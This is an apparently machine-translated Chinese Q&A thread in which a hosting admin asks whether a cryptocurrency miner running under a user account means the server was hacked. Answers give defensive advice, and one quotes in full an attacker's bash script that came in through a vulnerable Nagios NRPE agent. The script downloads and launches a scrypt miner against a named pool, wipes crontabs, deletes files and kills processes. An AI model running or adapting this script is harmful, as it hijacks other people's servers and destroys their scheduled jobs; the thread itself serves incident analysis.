我被黑了吗?


8

我运行一台专用服务器,最近在那儿注意到CPU使用率很高,并检查了进程。似乎有人(密克帐户)正在我的服务器上进行挖掘。这怎么可能?该过程如下。我已暂停该帐户。我还需要做什么?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B

检查每个用户的cronjobs。
TPS

5
有关您是否创建该帐户以及谁有权访问的更多信息会有所帮助。如果您是唯一应该具有访问权限的用户,则可能是您被黑了->从头开始重新安装。
2014年

它是使用Plesk控制面板的Web托管服务器。有各种域名服务器等几个客户
BOOBOO

客户端没有对服务器的root访问权限,只有ftp
Booboo,2014年

2
这看起来像一个Scrypt加密货币矿工。
TheDoctor 2014年

Answers:


11

如果您正在运行允许服务器端脚本(php,ruby等)的Web服务器,则此操作非常容易。

用户所需要做的就是生成一个脚本,该脚本将文件下载到该文件/tmp/sh64然后运行。Web脚本通常需要能够执行外部程序,因此很难防止这种活动。

如果该mick帐户与用于运行用户的Web脚本的帐户相同,那么我想说不,您没有被黑。只是一个用户滥用其帐户。

如果要防止这种行为,有几种方法可以防止它。您可以禁止调用外部程序。或者,您可以执行诸如杀死长时间运行的程序的操作(例如,任何运行时间超过60秒的程序)。
如果不了解有关您的设置的更多详细信息,则很难确定最佳的操作方案。


1
如何禁止调用外部程序
Booboo 2014年

您的选择会有所不同。我会再问一个问题。提供有关如何设置Web服务器以及客户端使用哪种脚本语言的详细信息。一个简单的chroot可能有效,但需要详细信息。
帕特里克

2

我有一个类似的问题。他们利用了Nagios NRPE代理的过时版本来运行一个wget脚本,该脚本安装并配置了Sourceforge的比特币矿工(dont_blame_nrpe启用了NRPE守护程序)。我没有发现任何迹象表明我的计算机上的尝试是持久的。

这是用于比特币矿工安装和设置的脚本:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

该脚本完全以Nagios用户身份运行,因此不需要任何root用户访问权限。


2

您的系统肯定已受到威胁或被黑客入侵。还有其他故事描述正在安装类似的矿机。

我会认为您的系统已受到威胁,并从其中开始进行关键操作,因此,如果尚未进行备份,则可以进行备份。

分析

如果您对它们的进入方式感到好奇,则需要获取已安装的服务(Web,mysql等)的完整列表,并查看是否存在任何可以使某人获得更高特权的主动攻击。

我将从任何基于Web的应用程序的Web支持开始。通常情况下,这些应用程序可能会缓冲区溢出并可以访问修改Web服务器的堆栈,以便可以安装其他应用程序。

通常情况下,这些类型的危害可以是孤立的事件,因此仅删除有问题的软件和恶意软件就足以将其根除,而不必忍受进行完整恢复/设置系统所花费的时间。

如果该系统是使用基于VPS的映像构建的,那么我将与提供商合作,因为对其进行修补似乎对所有客户来说都是他们的最大利益。

不仅仅是破坏Web堆栈

包装盒上的所有内容都必须经过仔细检查,并且本质上是不可信的,但是我要花一点时间看看您是否无法弄清攻击者从何处登录(如果有的话)。他们可能会使用破坏系统后添加到系统的SSH帐户登录。

这可能是一项艰巨的任务,需要花费很多天来进行分析,尤其是如果您不能信任包装盒上提供的任何工具来协助完成这项工作。我鼓励任何人花时间了解他们的系统是如何受到损害的,以便您至少可以通过此特定媒介来降低将来再次发生该系统的风险。

如果这不是生产问题,那么这实际上是一个很好的学习机会,可以深入了解如何破坏系统以及攻击者可以“利用”访问方式。

一线希望?

由于该系统用于采矿目的,因此他们很可能使用了自动脚本工具集,因为攻击足够多的系统来设置僵尸矿工似乎将花费大量时间。当使用此类工具时,它们通常在构造上都是次要的,只是仅仅尽力做到最低限度来站稳脚跟,然后提供有效载荷(挖掘软件),因此您可能会很幸运并获得其他一些见解。他们如何进入。


4
不必要。如果Web服务器允许服务器端脚本编写,并且该mick帐户是运行脚本的用户,则可以轻松完成此操作而无需对服务器进行黑客攻击。虐待,是的。哈克,不。
帕特里克

@Patrick-非常正确,我修改了A以反映这一点。谢谢。
slm
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.